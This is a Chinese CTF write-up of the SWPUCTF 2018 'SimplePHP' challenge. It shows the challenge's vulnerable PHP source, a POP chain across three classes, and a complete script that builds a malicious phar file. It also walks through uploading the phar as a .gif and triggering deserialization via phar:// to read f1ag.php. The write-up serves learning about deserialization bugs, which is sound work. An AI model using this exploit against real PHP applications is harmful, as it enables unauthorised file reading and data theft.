1月15学习

[SWPUCTF 2018]SimplePHP

phar反序列化的三个前提条件

可以上传phar文件

有可以利用的魔术方法

文件操作函数的参数可控

网站中有两个功能:查看文件上传文件,利用查看文件将源码都先弄下来进行PHP代码审计。

可以看到存在任意文件读取漏洞,读取所有文件的源代码

file.php

复制代码
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

upload_file.php

复制代码
<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php

复制代码
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

复制代码
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

复制代码
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

可以看到f1ag.php文件,尝试读取

代码审计后发现在class.php中存在file_get_contents(),那么就是通过构造pop链,调用file_get_contents(),读取f1ag.php中的内容。

public function __construct($file)

{

this-\>source = file; //$this->source = phar://phar.jpg

echo $this->source;

}

可以看到给了提示,利用phar,构造phar反序列化

入口函数是在file.php中

$show = new Show();

if(file_exists($file)) {

show-\>source = file;

$show->_show();

} else if (!empty($file)){

die('file doesn\'t exists.');

}

发现这里是有file_exists这个函数,

这个表中的函数可以触发phar反序列化。

下一步构造pop链

复制代码
public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

可以看到这里可以返回文件的内容,但是不能够打印出来。

class C1e4r

{

public $test;

public $str;

public function __construct($name)

{

this-\>str = name;

}

public function __destruct()

{

this-\>test = this->str;

echo $this->test; //这里使用echo函数,很明显就是想让我们利用这个点,test的值是str给的,str的值是我们传的name参数给的

}

}

通过new Cle4r($name),将值传给str,然后自动触发__destruct(),打印test。

那么name应该传什么?

class Test

{

public $file;

public $params;

public function __construct()

{

$this->params = array();

}

public function __get($key)

{

return this-\>get(key);

}

public function get($key)

{

if(isset(this-\>params\[key])) {

value = this->params[$key];

} else {

$value = "index.php";

}

return this-\>file_get(value);

}

public function file_get($value)

{

text = base64_encode(file_get_contents(value));

return $text;

}

}

从Test类中我们可以发现,__get(key)=\>get(key)=>file_get(value)这样一条利用链,key的值,是触发__get的时候传入的,value的值是通过params(key)得到的,所以不妨令params=array("source"=>"f1ag.php"),然后我们传入key="1",即可;这里的key需要是source。

__get()是反序列化中的魔术方法,当访问类中的不可访问的属性或者是不存在的属性会自动触发__get()

然后又要触发get

public function __construct($file)

{

this-\>source = file; //$this->source = phar://phar.jpg

echo $this->source;

}

public function __toString()

{

content = this->str['str']->source;

return $content;

}

令str['str'] = new Test(),那么在toString()就是new Test()->source,而source不是Test中的属性,所以就可以触发到get。

上面的key之所以为source,是因为这里的new Test()->source调用的就是source不存在属性,这个source被当做参数传了过去

__toString(),反序列化中的魔术方法,当类被当做字符串输出的时候会自动调用toString()方法。

令$this->source=new Show()它自身。

那么整个pop链就是:

注意:这里要生成phar文件,需要在 php.ini 中 让phar.readonly = On 为 Off,不然会报错。

复制代码
<?php

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array('source'=>'/var/www/html/f1ag.php');
    }

}
$c = new C1e4r();
$s=new Show();
$t =new Test();
$s->source=$s;
$s->str['str']=$t;
$c->str=$s;
echo(serialize($c));


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

什么是phar

我 们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在 Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利 用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

通过阅读function.php,知道必须上传"gif","jpeg","jpg","png"结尾的文件,上传的文件被存放到了upload目录下。

将生成的exp.phar,修改为exp.gif进行上传,然后访问upload找到我们上传文件得文件名。

回到file.php页面

phar://伪协议读取

构造:

file.php/?file=phar://upload/xxxxxxxxxxxxxxxxxxx.jpg

得到base64加密内容

base64解密得到flag.

总结:

巩固了反序列化的phar类型的题,不仅是phar类型,还有pop链的构造,说到底都还是这种类型的题做得太少,自己觉得这个题还是有难度,代码审计起来,这么多个文件,还是去找执行反序列化的地方;看了别的师傅wp,才知道用phar://协议读取,file_exists函数也可以触发反序列化,学到了很多 。

附魔术方法(每题一附[捂脸笑])

魔术方法 作用
__construct() 当对象被创建时会调用此方法
__destrurct() 在某个对象的所有引用都被删除或者当对象被显式销毁时执行
__sleep() 当对象被序列化时会调用此方法
__wakeup() 当对象被反序列化时将会调用此方法
__call() 在对象中调用一个不可访问方法时,该方法被调用
__callStatic() 在静态上下文中调用一个不可访问方法时,该方法被调用
__get() 读取不可访问属性的值时,该方法被调用
__set() 在给不可访问属性赋值时,该方法被调用
__toString() 当一个类被当作字符串时将会调用此方法
__invoke() 当尝试以调用函数的方式调用一个对象时该方法会被调用
__isset() 当对不可访问属性调用 isset() 或 empty() 时,该方法会被调用
__unset() 当对不可访问属性调用 unset() 时,该方法会被调用

什么是phar呢?

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

Phar文件结构

  1. a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>

  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。

  3. contents是被压缩的内容。

  4. signature签名,放在文件末尾。

就是这个文件由四部分组成,每种文件都是有它独特的一种文件格式的,有首有尾。而__HALT_COMPILER();就是相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用。

相关推荐
西岸行者10 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意10 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码10 天前
嵌入式学习路线
学习
毛小茛10 天前
计算机系统概论——校验码
学习
babe小鑫10 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms10 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下10 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。10 天前
2026.2.25监控学习
学习
im_AMBER10 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J10 天前
从“Hello World“ 开始 C++
c语言·c++·学习